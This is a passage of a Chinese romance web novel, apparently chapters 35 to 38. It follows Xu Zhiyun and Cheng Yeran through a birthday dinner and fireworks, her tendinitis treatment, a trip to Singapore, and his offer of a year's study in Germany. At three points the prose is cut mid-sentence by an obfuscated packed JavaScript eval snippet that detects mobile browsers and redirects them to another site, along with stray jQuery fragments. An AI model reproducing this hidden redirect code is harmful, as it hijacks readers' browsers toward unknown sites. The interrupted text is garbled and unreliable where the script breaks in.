程烨然将车钥匙递给他,随后和许知蕴跟着服务生的脚步,走进饭店里——它外边低调,里边却不低调了。 教堂般高高的吊顶,垂着金色的灿灿的吊灯,吊灯上边还停着一只栩栩如生的飞鸟。通达用餐区域的长廊两边,挂着各式的巨幅油画。许知蕴凝神看过去,这两排的油画并非乱摆,而是按着时间顺序连在一起的。 程烨然订的是靠窗的位置。从这里看,能很好地看见江景。这个时候,灯光已经陆陆续续亮起了,在河水中自成一个颠倒的世界。 程烨然将菜单推到他面前:“想吃什么?” 许知蕴没跟他客气,点了酥烤牛肋排、油爆虾、果酱鹅肝等招牌菜。程烨然只是含笑看着她,对她点的菜都说好。餐厅中央有人在演奏竖琴,一首古老的爱尔兰民歌。演奏完毕,有服务生给那人送上致谢的鲜花。周围旋即响起一阵低低的笑闹声。 程烨然说;“我有个朋友,叫严宇之——不知之前同你讲过没有?” 许知蕴点点头。“以前拉你进乐队的那个。” “好几年前呢,他正跟他爸闹别扭。”程烨然说,“他约我们来这里吃饭,然后抱着吉他,就上去弹了一首,名字忘了,大概是叫什么什么的传说。他弹完,我们就给他送花,他抱着花,乐颠颠地下来。晚上回去他就被狠狠骂了一顿,说简直是丢人现眼。严宇之跟他爸对着干,说,这根本就不丢人,有那么多听众,他还觉得光荣得很。后来他正事也不干,跑到津市去玩了两个月,等回来的时候,家里对他玩音乐这事就再也不计较了。” 程烨然说完,笑道:“我可不是故意揭他短。回家后的事是他自己嚷嚷的,恨不得让全世界都知道。” 许知蕴也笑了。这时他们的菜上来了,她散漫地拿着刀叉切鹅肝,随后好奇地问道:“你有上去演奏过么?” “没有。”程烨然说,“我不太会其他的乐器,最擅长的就是口琴。但——” 他很慢很慢地说:“我也会弹一点钢琴。如果你希望看到的话。” 不过,他虽然是在询问,可还没等许知蕴做出回答,他就同身旁的服务生说了几句,然后泰然自若地走上了中间的台子。黑色的施坦威就摆在那里。致意过后,他就坐上琴凳,手指轻轻放在黑白色的琴键上,音符就这样从指缝间流泻出来。 很缓慢抒情的曲子。即使是在演奏一个“不熟”的乐器,程烨然的姿态也无可挑剔。许知蕴撑着头看他,他也时不时侧过头来,与她对视。含着笑意的、轻轻的一瞥,而后转瞬即逝。 许知蕴偷偷招来服务生:“劳烦拿一束花给我。最好是粉色的玫瑰。” 服务生退下,很快就拿上来一束包装温柔的荔枝玫瑰。她没有把它拿在手上,而是藏在身后。 这首曲子不长,几分钟就奏完了。许知蕴终于在尾韵中听出来,这是舒曼的《梦幻曲》。 程烨然弹完最后一个音符,周围响起阵阵掌声。他站起来鞠了一躬,正当要下台时,一束盛开的正好的玫瑰,就这样突如其来,却又热烈地递到他的眼前。 周围一顿,然后鼓掌声更大了。 透过这一束娇艳欲滴的玫瑰,程烨然首先看到的其实是许知蕴掩藏在玫瑰之后的脸。 “送你啦。”她的脸色红润,眼睛亮闪闪的,“我听出来了,是舒曼的《梦幻曲》。真的很好听。” 程烨然走下台,双手接过花,神色有些难辨,只是语调仍是轻轻的。“谢谢你送我花,可……今天是你过生日呢。” 许知蕴读懂了他的未竟之言。但她只是笑笑说:“这有什么,谁规定过生日的人不能给自己的恋人送花?如果不能,这也太荒唐了。” 程烨然听完,拉过她的手。许知蕴正想牵着他回到位置上,却没想到他将她的手抬起来,轻柔而珍重地吻了吻她的手背。他捧着玫瑰,弯腰俯身,亲吻她的手背,远远看过去,就像两个人正要结婚。 许知蕴感觉自己的脸已经红得不能再红了。但她仍然没有把程烨然的手放开。 * 晚上散步的人多得很。 他们依旧漫步在河堤边上。 亮灯时间早过了,他们只能从窗外看见那一刹那灯光的亮起。隔着窗户,都能想象到游人的欢呼声。现在是晚上七点四十五分,月亮已经出来了。今晚的月亮格外的好,似乎比先前所看到的所有月亮都好。 许知蕴想起自己翻译的那本书里,主人公的家族命运似乎就和月亮息息相关。她把这些故事说给程烨然听,他也歪头认真地听着,时不时提些问题,或者提供一些许知蕴想不到的建议。就这样走走停停,又来到了当初拍照的栏杆边上。 他们同身旁的游人一样,倚在栏杆上,注视着江对岸鳞次栉比的高楼大厦。 许知蕴忽然好奇地问程烨然:“在这里,你能看见你们家公司吗?” 程烨然失笑着摇摇头:“当然看不见。还要在更里边呢。” 许知蕴的话题转向另一处:“国庆节快到了……” “那么许小姐想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162828|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪里玩?”程烨然很配合她。 “嗯……我想想。”她装模作样地思考了一会,“去新加坡吧!” 她说:“我对那里熟,我们国庆去新加坡,我给你当导游。冬天,你带我去德国,怎么样?” “可以啊。” 程烨然凑到她耳边,小声说:“其实我只去过马来西亚,并没有去过新加坡。” 许知蕴笑起来。她想起当年在那个国度所度过的每一个晚上。曾经不觉得有什么,现在却怀念起来。周围的游人仍然在观景,许知蕴抬头望着天空,忽然没头没脑地来了一句: “你说,今晚会有烟花吗?” 程烨然说:“会的。” 许知蕴嘟哝着掏出手机:“没收到通知啊。” 放烟花的当天,是会短信通知的。 现在是七点五十九分。 程烨然却很笃定地说:“会有的。我有小道消息。” 许知蕴倒觉得他在开玩笑。 但当时针指到“8”的那一刹那,夜空中恍然升起无数朵大大小小的烟花,一朵接一朵,噼里啪啦地炸开。 橙黄的、墨绿的、金红的……它们相互交融,在这样的烟花的衬托下,周围的人影都看不清了。它们变得黑漆漆的,而后变得很淡,几乎要隐入周围斑驳的树影。 烟花绽放的声响,当然要比人的心跳声要大得多。 但许知蕴现在却能清晰地听见自己的心跳声。它和烟花声重合,却远比烟花的声音要震耳欲聋。 而程烨然就站在她面前,缓缓地笑起来,随后张开了他的双臂。 他说:“知蕴,生日快乐。” 许知蕴只觉得心跳声像无休止的浪花,它一个轻轻的浪潮打过来,就把自己给淹没了。 她向前一步,投入了程烨然的怀抱。 她小声问:“你怎么知道今晚会有烟花的?” 程烨然温声道:“我早说了呀,我有小道消息。” 许知蕴只好相信这是他得到的小道消息。就像是为了给广大市民一个惊喜一样,特意选择在这一天燃放烟花。许知蕴没有往下细想下去,她知道细想下去会想到什么——她怎么会想不到呢,然而她就是故意不往下想。 她说:“你钢琴弹得挺好的呀,为什么说自己不擅长?” “我只会那一首。”他笑着说,“我是跟学校里的老师学的。就学这一首,反反复复地弹,显得自己很高明的样子,其实叫我弹其他的,我就露馅了。” 话说完,他们之间陷入一阵安心的沉默。 过了许久,烟花已经将近尾声。 她对程烨然说:“你是个罗曼蒂克的傻子。” “好好好,我是个罗曼蒂克的傻子。” 程烨然孩子气地重复她的话。许知蕴笑了。她将手扣在程烨然的脖颈。 在这样的氛围下,接吻是一件顺理成章的事。不需要感到难为情,毕竟此时此刻,世界上成千上万的人都在接吻呢。他们吻得很轻柔,在这轻柔之中也带了点狂野。正当许知蕴从程烨然的怀抱里笑着挣脱出来,两人决定手拉手压马路时—— 一瞬间,她却忽然感觉自己的左手腕处传来一阵钻心的疼痛。 36. 第三十六章 在生日当天去医院,怎么能不算一件倒霉事呢? 他们火急火燎地去了最近的医院,但不知道挂什么科。 指引台的小护士问她:“怎么了?” 许知蕴捂着左手,虚弱地说:“手一抽一抽地疼。” 小护士“哦”了一声,看了看她的手腕,说:“那去挂疼痛科吧。或者骨科也行。” 许知蕴想,挂骨科听起来也太可怕了。所以她最后还是挂了疼痛科。 一路排队,排到后面,手腕的疼痛反而没那么严重了。前边一个戴着口罩和墨镜的男生走了出来,许知蕴就赶紧进去。医生是个戴眼镜的小老头,许知蕴在他面前的凳子上坐下,程烨然站在她旁边。 小老头问:“哪儿疼啊?” 许知蕴伸出自己的手。“手腕疼。” 小老头看了几眼,发现没有明显的肿胀。他开了几张单子给许知蕴:“拿去做检查,得结果了再给我。” 程烨然接过那几张单子,和许知蕴把检查的房间都跑了一遍。结果出来得不算慢,十分钟后就拿到了。他们又回到疼痛科的诊室,小老头拿单子来看了看,最后下判定结果:“是腱鞘炎。不严重。打点药再休息就好了。” 许知蕴身为文字工作者,对腱鞘炎还是早有耳闻的。但她还是没想到这东西会落到自己头上:“可是我……我每次工作完都会做手部舒缓动作啊?” 为了延续自己的职业生涯,许知蕴自以为自己还是很用心地在保养的。 小老头问她:“看见之前在你前面那个戴口罩墨镜的男的没有?” 许知蕴说:“看到了。” “这是个电竞选手呢。”小老头说,“人家护理得够好了,还定时定量做手操,结果还是得了腱鞘炎……你什么工作的?” 许知蕴不知为什么,心虚地缩了缩:“翻译。” 小老头一击掌,用方言说:“正常啦,正常啦,职业病嘛,都这样。咽喉科还一堆老师来看病呢。” 开好了治疗的单子,程烨然问了些注意事项,然后跑下楼去缴费。小老头问许知蕴:“你男朋友嘛?” 许知蕴点点头。 “他是做什么工作的?” “设计。” 小老头长长地“哦——”了一声:“到时候叫你男朋友也来查查手部,你们都长时间用鼠标和键盘,都是容易患病的人群哦。” …… 许知蕴在打针的间隙,叫程烨然也去做个手部检查。程烨然说,我先陪你打完针吧。许知蕴说,不用陪,你赶紧去检查,事情同时进展才能速度快,到时候就能早一点回家了。 程烨然去了,十多分钟后也拿着单子回来。 许知蕴问他:“怎么样,结果没什么问题吧?” 程烨然顿了顿,说:“嗯……目前没有大问题。” 许知蕴捕捉到关键字眼。“目前?” “就是稍微有些肌肉劳累过度……医生建议我多休息和做舒缓运动。” 程烨然没想到自己也快要成为中招人群。 打完针,他们又回到诊室。小老头给他们递过去两张纸,上边印着“腱鞘炎护理注意事项”:充分休息,避免过度使用;适当锻炼增强肌肉力量;疼痛较为轻微时可用温水浸泡手腕或手指;肿胀明显则用冷敷缓解疼痛;饮食清淡、避免高热量高油炸…… 许知蕴满怀一丝希望地问:“真的一顿烧烤都不能吃吗?” 小老头睨她一眼:“想吃也可以,做好来打第二次针的准备。” 许知蕴蔫了。他们走出诊室,小老头还在后边挥挥手:“记得下周来复诊哦!” * 从那天晚上开始,许知蕴短暂地失去了长时间用电脑和手机的权利。 一旦使用时间超过一小时,就会弹出提示语音:“您已连续工作一小时,请注意休息!” 这功能还是程烨然弄的。许知蕴向他微弱地抗议道:“就不能延长到一个半小时或者两个小时吗?” 程烨然的脸上笑眯眯的,但是语气却很是坚决:“不行。” 许知蕴说:“可你知道的,这样间隔会很影响我的灵感和工作欲望……” “我在办公室里也会和你一样的。”程烨然弄完电脑,然后将那束粉色的荔枝玫瑰小心翼翼地拆开包装、修剪底部,然后插到花瓶里。“我也会间隔开的,欢迎你监督我。” 程烨然弄花弄得很是欣喜,好像比收到花时还要开心很多倍。他甚至一边摆弄花瓶一边哼歌,顺便感叹:“要是这束花永远不会凋零就好了。” 许知蕴在沙发上侧躺着吃她的曲奇饼干:“等这一束凋谢了,我就再买一束……这样一年四季都能看见不凋零的花了。” 程烨然歪过头去看她。许知蕴被他盯得有些不自在,将手上的曲奇饼干递了过去:“看我干嘛?你也想吃这个?” 递过去的饼干是小熊形状。 程烨然没说“是或不是”,只是就着她的手吃完了饼干,然后笑着说:“真是傻姑娘。” 许知蕴不打算再给他递曲奇饼干了。 接下来的一星期,许知蕴都处在煎熬之中。 如果她在办公室,那她非常乐意工作一小时后休息十分钟。但现在她是在家,并且由于工作性质,这样的放松就变成了折磨。当她文思泉涌,灵感爆发,飞速敲字之际,电脑总会响起冰冷的提示音,将她内心的灵感源泉吞噬大半。她不得不站起身来,四处走走,按照小老头给的“舒缓手操”图纸,认认真真地按部就班完成一个个动作。 其实做手操还是很舒服的。 但工作被打断的痛苦和还是很煎熬的。许知蕴想。 十分钟的休息时间,她也没闲着,正好在客厅把零食吃一吃,然后在家里四处溜达。程烨然将那束花放在了客厅,她每次出书房的门,都能看见这束粉色的玫瑰,静静地盛开在阳光洒落的桌面上。 啊,歪了。 她走过去,轻轻地将其中一支花枝摆正。 ——这下好看多了。 …… 经过一周的坚持不懈,再去复诊的时候,小老头终于给了她一个肯定的眼神:“不错啊!” 许知蕴偷偷在后面跟程烨然比了个“胜利”的握拳手势。 “——不要庆祝那么快啊,年轻人。”小老头冷酷无情地继续说,“不要只保持一两周,后面又得意忘形了。不好好保护的话,腱鞘炎可是很容易复发的。” 许知蕴连忙说:“我会的我会的,您放心好了。” 走出医院的时候,她还是很快乐的。 她问程烨然:“那个时间限制是不是可以取消掉啦?” 但程烨然的回答似乎比小老头还要冷酷无情:“医生说了,不注意后续保护很容易复发。我们先从一小时改到两小时。” 许知蕴深吸一口气。 不错,两个小时总比一个小时强。 虽然表面上并不很欢喜,但其实许知蕴自己也知道,程烨然是在为她着想。毕竟腱鞘炎这东西,如果不注意节制,有了第一次就很快会有第二次。并且在这一周期间,程烨然做饭也是尽量清淡着来,避免煎炸烤等烹饪手法。不过许知蕴对程烨然的手艺一向是很放心的,就连最普通不过的一碗清汤面,也能被他做得有滋有味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174394|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但许知蕴还是稍稍懂那么一点以退为进的。 她沉默了几秒,又问:“那——” “那我们今晚可以去吃烧烤吗?就楼下那家?” 她已经做好了说出“就吃这一次”这句话的准备。但程烨然只是笑了笑,然后拉过她的手,很爽快地答应了。 “可以啊。” …… 程烨然没想到出门逛超市都能遇到周颂。 周颂手里拎着个装了大葱的袋子,一看见他,推着个购物车就急匆匆地滑了过来:“哟!你也在啊!” 程烨然疑惑道:“你不是去非洲了?” 周颂前几天玩心大起,说要去一趟非洲玩,顺便采买点好的咖啡豆。他是说干就干的人,中午想着去非洲,晚上就已经身在机场,踏上国际航班。 周颂笑了笑:“昨天下午回来了,落地被我爸接去吃了个饭。我还说什么要紧的饭得一下飞机就去吃呢,原来是给我介绍了个别人家的女儿。” “怎么样?” “不怎么样。”周颂说,“人家是被家长拉过来的,烦死相亲了。虽然加了微信,也没什么用,吃一顿饭后就散了。” “这样啊。” 程烨然走到生活用品区,开始挑牙膏和洗衣液。周颂跟在他身后,优哉游哉:“烨然,我可听说啦。” 他说话说半句,程烨然不禁皱了皱眉:“听说什么?” 周颂笑得很欢畅:“当然是听说你给人家放烟花的事啦!花了不少钱吧?” 程烨然没好气地瞥他一眼:“我看你消息够灵通啊!少说两句吧!” “我这不是夸你嘛。” 周颂这话倒是真心实意的。 “有些人现在真是够乱的。”周颂爱说话,一说起来就刹不住车,“你知道陈老太爷的两个儿子吧?两个人一起包养了十几个小模特,还都只要混血,别的说不好看,不够带劲。后来其中一个小模特受不了了想退出,陈家大少还说,退出可以,那就别想再上任何一个台走秀。哇,我是什么人,与天斗与地斗,其乐无穷。我找到那个小模特,我问她愿不愿意出国,她说愿意。后来就出去了,前些天还给我写信呢,夸我人帅心善……” 程烨然虽然并没有身处其中,但作为圈子里的人,多多少少也听过一些传闻。比这更狗血、更令人生气的事情,三天三夜都说不完。 周颂说完,叹了口气:“陈老太爷把家族企业丢到这两个家伙手里,迟早要完。” 程烨然听了他的话,只是无奈地摇摇头,话语间带着些不置可否的意味:“这个……谁也说不准。” 周颂沉默了一会,悻悻然道:“……那也是哦。” 程烨然挑东西的速度很快,基本上看到合适的就会放进购物车里。周颂说话的这一空当,他已经将需要买的东西都拿到了。周颂逛超市好像也不是为了买东西,更像是无所事事闲游。结完账走出门,周颂要回咖啡馆,程烨然要回小区,同路时间不长,他们也就简单聊了几句。周颂忽然一拍脑袋,说:“差点忘了,明天记得来拿啊!我在非洲带回来好多咖啡豆,可香了,送你们一袋,也尝尝这土生土长的风味。” 程烨然笑笑:“真是谢谢你了,难为您旅游时还记得。” “那可不嘛,你还不知道我是什么样的人?” …… 程烨然没想到的事情很多。他没想到今天下午会在超市遇见周颂,也没想到回家后打开电脑,忽然弹出了一封邮件。 语言是德语,地址也是德国。 发信人很熟悉——可以说是再熟悉不过了。 那是他的导师。 37. 第三十七章 国庆假期,他们如愿以偿地去了新加坡。许知蕴当导游,带着程烨然将整个城市走了一遍。许知蕴的大学、鱼尾狮公园、摩天轮、牛车水、赞美广场…… 许知蕴在大学里的“杰出校友墙”找了一圈,没找到自己的名字。 “毕业了好几年就不算杰出校友啦?”她佯装愤怒,“刚毕业那阵还有我来着。” 她找了又找,终究在“历年校友”的小角落里找到了自己的照片。 虽然照片很小,还在角落,但许知蕴依然很满意。 …… 第二天,坐完过山车,在环球影城的鬼屋里走了一遭之后,程烨然感觉自己整个人都不好了,但许知蕴显然仍是兴致勃勃。 “这些都是机关和人扮的NPC嘛。”她说,“一这样想,鬼屋就不可怕了。” 程烨然刚刚从一个马戏团小丑的惊吓中回过神来。他心有余悸地摇摇头:“……不,这根本还是很可怕。” 从鬼屋出来,许知蕴甚至还遇见了当年一起扮鬼的同事。同事说,哎,我请你们喝珍多冰吧,很好喝的哦。许知蕴说,不用啦,你先忙,应该是我来请你喝呢。 不过他们最后还是在一家街角的饮品店里喝了珍多冰。 这家店似乎广受好评,来的人很多,位置差不多坐满了,许知蕴和程烨然等了一阵,才等到靠在一起的座位。周围人声嘈杂,说什么语言的都有。中文、新加坡式英语、泰文、马来西亚语……程烨然留心去听他们的英文,却略有些沮丧地发现自己无法应付这些特色口音。 许知蕴笑笑说:“很正常,我刚开始来的时候也听不懂。后来听多了就习惯了。” 他们喝完珍多冰,趁着下午的晴好天气在这座城里四处闲逛。街边的棕榈树生得高大,丝丝缕缕的叶子垂下来,树皮韧韧地反射着微微的日光。太阳很好,并不毒辣,也懒得撑伞,只戴一副墨镜便足够。偶尔会路过喷泉,在晶莹剔透的喷泉后边,是一片双层彩色小屋的街区。 他们一直走到日落,在食阁里吃了顿肉骨茶,然后租了辆单车,一路沿着大大小小的指引牌,骑到海边。 这个时候已经赶不上海上日落了,但天空中仍然布满了艳丽沉重得似乎要坠下来的晚霞。热带地区的晚霞,要比北方的美丽得多。 灿金的橙红,微微发紫的蓝色。他们骑到海边时,只抓住了晚霞的尾巴,但那一片炫目的彩光渗入海水中,翻腾起一阵绸缎般的波浪时,仍然令人目眩神迷。 “真漂亮。”许知蕴喃喃道,“不管看过多少遍,依然觉得很漂亮。” 程烨然从背包里拿出相机,认真地拍下了这一幕。 他们随便找了个位置坐着,在街边小贩的手里买了几串沙爹肉串,一边看景色一边吃起来。 程烨然给出了一个很高的评价:“这个很好吃。” 许知蕴问他:“在家里你能做出来吗?” 程烨然思索了一下,笑着说:“有烤炉就能做,不过味道不保证。” “这样啊。那鸡饭呢?你可以吗?” “这或许得买到足够好的原材料才行。” “你看天气预报了吗?不是新加坡的,是我们那边的……” 太阳终于沉下去了。海面归为一片沉静。他们的对话也告一段落。一个吹萨克斯的男人走过来,在他们面前给他们吹了一曲《巴比伦河》。吹完了,也没要额外的钱,又晃晃荡荡地去下一个人群聚集的地方。许知蕴的视线跟随他看过去,看见他站在一群大学生的中间,满怀激情地吹了一曲欢乐诙谐的小调。 程烨然失笑道:“这人好有意思。” 许知蕴戳戳他:“你也可以有意思的。你可以吹口琴!” 他们又骑车离开了海滩,最后回到了酒店。晚上的星子一闪一闪,从房间的落地窗里,能清楚地看见底下瑰丽繁华的夜景。他们洗漱完,窝在床上,随手打开电视,也不看,只是听个声响。晚间新闻仍在播报,许知蕴有点困了。她伸了个懒腰,懒洋洋地钻进他怀里,找了个舒服的姿势继续窝着。 “我本来还带了电脑来的。”许知蕴说,“但我现在一点也不想打开。” 程烨然说:“累了的话就歇会吧。不要着急。” “要是我能中彩票就好了。中个几十亿的,就用不着工作了。” 许知蕴开始畅想她中彩票的伟大计划。中了彩票,交了税,她还剩下好大一笔钱。这个时候,她就把百分之七十存进银行,剩下的百分之二十给父母,百分之十拿来环游世界。她想跑到北欧去看极光——虽然不一定能看到,但是旅游的过程本身就令人愉悦万分。 “这样的生活当然很好。”程烨然笑了笑,捏了捏她的耳朵,“不过,那个时候你真的不会再翻译任何一本书吗?” “不会。” “真的?” “……嗯。” 许知蕴犹豫了。 半晌,她自暴自弃地摇摇头:“好吧,你猜对了,我还是会翻译的。” “有些人或许会认为翻译这个职业很光鲜,但其实我们真正拿到手的钱很少。之前我还跟编辑聊天,我们都觉得出版行业在走下坡路……不过总是会存在的。就像电动车和汽车发明之后,骑自行车的人变少了,但现在依旧有很多人将自行车当成一种运动……有些时候你不能说某个行业一定在日薄西山,另一个行业一定在蒸蒸日上,对吧?” “我有个老师,当年翻译一本书的时候拿到的千字价格很低。我问她为什么还要接呢,她说她不是为了钱才接的,而是纯粹享受翻译的过程。嗯,不过我仍然认为,她之所以能有这样的心态,和她知名大学教授的身份还是脱不开的。毕竟不愁吃穿才能有闲情雅致嘛。” “不过……我还是希望我自己能够达到这样的状态。或许这样的状态翻译出来的文字才是最合适的。” 程烨然轻轻拢了拢她散乱的头发,低声说道:“我相信你会做到的。” 他再自然不过地低下头去,吻了吻许知蕴的双唇。 “不管过去、现在还是未来,你都已经很好了。” 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192891|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻并没有持续多久,而是浅尝辄止。许知蕴其实一向喜欢程烨然温柔的做派,但现在她却有些不满意了。 所有人都希望美好的事物能长久一些。 许知蕴直起身,伸手勾住他的脖颈,加深了这个吻。后来她又去吻程烨然的眼睛——她喜欢这双眼睛,喜欢得不得了。略带点琥珀色的眼眸,很沉稳深邃的光亮,是一块不需打磨抛光便已光艳夺目的宝石。 她眨了眨眼,用手指轻轻往上捋着他的睫毛。 “可以继续吗?”她小声问。 她能感受到两个人内心里都燃烧的欲望。有些东西不就是自然而然地发生的吗? 她原本以为程烨然会同意。 但他只是爱怜地碰了碰她的脸颊。 “很抱歉,但现在不可以。” 他的声音有些哑,“太晚了,我们睡觉吧。” 不知道为什么,她从他的目光里看到了某些隐秘的东西。 程烨然不像是会隐瞒什么事情的人,她也相信对方并不会欺骗她。那究竟是什么呢? 一切的猜测都不如直接开口问来得快。 许知蕴叹了口气,顺势躺下,抬手关了灯。在一片漆黑之中,她缓缓道:“程烨然同志。” “嗯?” “我呢,猜你有心事。” 程烨然顿住了。他没有很快地回答。 过了半晌,他才道:“我并不是有意隐瞒你,只是我还没有想好。” 许知蕴笑了笑:“那等你想好了之后,一定要记得告诉我。” “我会的。” 回应的除了话语,还有一个温暖且有力的拥抱。 许知蕴实在困了,她几乎是一闭上眼睛,就陷入了深沉的梦乡之中。 * 从新加坡回来后的几天,他们都沉溺在工作里。程烨然好像很忙,不过比起忙碌,更多地像是一种挣扎。许知蕴经常见他在书房里对着电脑发愁,时不时出到阳台去打电话。说的语言许知蕴听不懂,但她还没来得及问呢,他就说,是在给自己留学期间的德国导师打电话。 许知蕴毕业后也时常与自己的导师联系。她开玩笑似地问:“该不会让你回去作为优秀校友参加讲座吧?” 她自己倒是去过一次。讲座上乌央乌央几十位俊杰,都是业界精英,许知蕴自觉自己微小得不得了,跟这些满身带着光环的人实在无法相比。不过她倒也悠然自得,趁着回学校的空当,又去免费吃了一顿自己当年最钟爱的食堂。 她并不以为这通电话是一件多大的事情。 但在那个晚上,他们吃完饭,正坐在沙发上时,程烨然深吸一口气。他似乎挣扎过千百遍,但最后还是没有办法。 “其实在那通电话来之前,我已经收到了导师的邮件。”他慢慢地说。 许知蕴好奇地问:“邮件里说了什么?” “导师说——”程烨然顿了顿,“他手上有一个为期一年的进修推荐名额,他想给我。” “他问我,愿不愿意回德国进修。” 38. 第三十八章 许知蕴愣住了。 为期一年的进修。 在德国。 她感到喉咙一阵发干。 “那么,你是……” 她不太想问出下面的问题。 去,还是不去? 许知蕴扪心自问,虽然自己的导师十分严格,还有点小脾气,但如果她给了自己一个进修名额,那自己肯定是要去的。有这样参与研究项目的经历,十分宝贵。就算最后并没有做出期望的成果,增长的经验也是极为可观的。 她换了个问法。 “你们公司同意你去吗?” 毕竟程烨然是要上班的。请假一年,实在太长。 程烨然点点头。“我问了领导,他同意了。如果我要动身出发,他愿意给我保留原本的职位。” 又一个障碍被清除了。许知蕴有些好笑地想,明明这对程烨然来说是好事,但她却想要给他制造一个又一个障碍。 她问出了最后一个问题。 “项目什么时候开始呢?” “……一个月以后。” 许知蕴很难看地咧了咧嘴角:“你甚至没办法等到过年后再走。” 程烨然叹了口气,拉过她的手。他将导师给他发的邮件找出来,一字一句地同许知蕴解释里边的内容。他的语气不疾不徐,许知蕴挑刺般地又问了几个问题,他也并没有显露出不耐烦的神情。面对这样的程烨然,许知蕴忽然觉得自己心头那股无名火很是憋屈,想发又发不出来,只好不上不下地卡在那里。 “我知道,你其实是想去的,对吧。” 虽然是问句,但许知蕴语调平平,像是在陈述一个事实。这本来就是事实,一个能与国际知名大品牌合作的机会,一个进修的机会,任何一个人都会心动。 程烨然很平静地望着她的眼睛:“是的,我很想要把握住这个机会。但这也是我纠结的地方。我——” “我不想和你分开。” 许知蕴忽然就感受到了“爱情”这种东西的微妙之处来。 如果她和程烨然没有谈恋爱,目前的情况压根不算是困境。他大可以潇洒地办好各色手续,在一个月后坐飞机离开,降落德国。他会过得有滋有味。 而她自己,也不会陷入这些无可调和的思绪之中。她不会认为程烨然的离开对她而言是什么大事,因为本就没有牵扯到一起。她仍然可以快快乐乐地工作,和朋友逛街,和家人聊天。她为什么要因为没有同某个人一起度过跨年夜而伤心呢? 许知蕴又重复了一遍:“可是你想去。如果没有我,你根本不用做这些考虑。” “不要说这样的话。”程烨然温声道,“从来没有‘如果没有你’这样的情况。” 许知蕴忍不住说:“可事实就是这样!你要是——” 她忽然感觉到自己的音调拔高了。许知蕴攥紧了拳头,努力让自己的心情平复下来。 “……没什么。”她垂下头,“要去的话就去好了,我也没说不让你去。我干嘛要不让你去呢。” 程烨然深深地看了她一眼。他伸手捧住许知蕴的脸,微微抬了抬。但许知蕴仍然跟他对着干,就是不想抬头。 他的语调仍是温和的。“那我们过几天再谈这件事情,好吗?晚上了,早点休息比较好。” “还有谈的必要吗?” 许知蕴冷冷呛道:“我同意了,你也想去,这不就正好吗?我搞不明白还有什么谈的必要,我还是那个意思,要去的话就去好了,没有人反对!” 她不知道自己到底在生气什么。生气程烨然没有同她事先声明吗?但他已经在同她说了。生气程烨然的态度吗?还是说因为之后的一年时间里,她都无法再见到他?理智告诉她这些都是可调和的,她去留学读书的时候不也和最亲的父母分开了几年吗?那几年里她也过得很快乐,因此这都没有什么大不了…… 但许知蕴发现自己现在已经无法忍受了。 她期待中的那些场景,好像都没有办法实现。 一起过圣诞,听大街小巷里的节日歌曲,在市中心的巨大圣诞树下合影。 和大家一起在钟声中等待跨年。 路过便利店时,在甜蜜的香气里,一起挑选一个硕大的烤红薯。 等待初雪降落的那一天。本城很少下雪,就算下雪也是细细小小的雪子。她喜欢和别人打赌,看看今年到底会不会落雪。 一起过农历新年,在最寒冷的天气里互相问候。 …… 这些事情似乎都无法在最近实现了。 许知蕴是一个不爱哭的人。尽管心里想了那么多,但她仍然没有哭。 “知蕴……” 她立马打断道:“我没有生气!我干嘛要因为这件事情而生气……我也不拦着你,这不是绝好的机会吗?或许进修回来后你还能升职呢!” 她留心观察程烨然的表情。她知道温柔的人生气起来分两种,一种是大发雷霆,与先前的形象背道而驰。另一种是温吞——这个世界上有些人太过温柔,连生起气来都是温吞的。 但程烨然好像没生气。 他只是把她拉过来,结结实实地给了她一个拥抱。 “很抱歉,我想我没能完全顾及你的感受。”他慢慢地说,“我们先去洗漱,然后休息,好不好?” * 那个晚上结束了。 许知蕴早上醒来的时候,身旁的枕头已经空了。伸手过去,是冰冷的。她这才意识到自己今早起得有多晚。 身上的被子盖得严严实实。许知蕴睡相不好,经常半夜伸出胳膊或者一截脚腕出去。但总有人给她掖好被角。 她挣扎着从温暖的被窝起身,抬头看了看窗外。天阴沉沉的。洗漱完毕,她走进厨房。程烨然给她发了消息,告诉她早餐是什么,在哪个锅里。许知蕴打开灶台上的蒸锅,里边放着一碗热腾腾的紫菜蛋皮馄饨。 她端起馄饨,走到饭厅,一边听英语播客一边吃。播客是当地的每日早间新闻,此时正好播到天气预报这一方面。什么台风、强降雨……许知蕴听听就略过。 这碗馄饨很好吃,无论是馄饨本身还是汤底都是一样的出色。但许知蕴吃着吃着,忽然就觉得少了几分滋味。 她其实也不想冷战的。 准确来说,这是许知蕴单方面的冷战。无论程烨然说什么 